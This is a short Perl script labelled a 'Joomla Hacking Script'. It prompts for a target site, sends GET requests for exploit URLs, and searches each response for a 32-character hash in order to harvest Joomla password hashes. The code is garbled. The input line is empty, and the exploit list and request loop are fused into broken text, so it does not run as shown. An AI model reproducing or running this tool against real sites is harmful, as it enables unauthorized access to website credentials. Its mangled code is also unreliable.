#!/usr/bin/perl
#Joomla Hacking Script
#Editor by Syn
#www.cybergrup.org
use LWP::UserAgent;
use HTTP::Request;
system "clear";
print "\tEdit By Syn\n\n";
print "\tHack Joomla Script\n\n";
print "\tConnect : evilc0der\@live\.no\n\n";
print "\tpriv8 cybergrup\n\n";

print "Enter the sample address\n\n";

$site=;

chomp($site);

if($site !~ /http:\/\//){

$site = "http://$site";
}

@bugs=(open file,'new(GET=>$victim);
my $ua = LWP::UserAgent->new();
my $an = $ua->request($w);

if ($an=~/([0-9a-z]{32})/){
print "Great!- Founded !\n";
print "Exploit is : \n$victim\n";

}
else{
print "Was searched but found.\n";

}
print $test ."\n\n\n";
th4nk cybergrup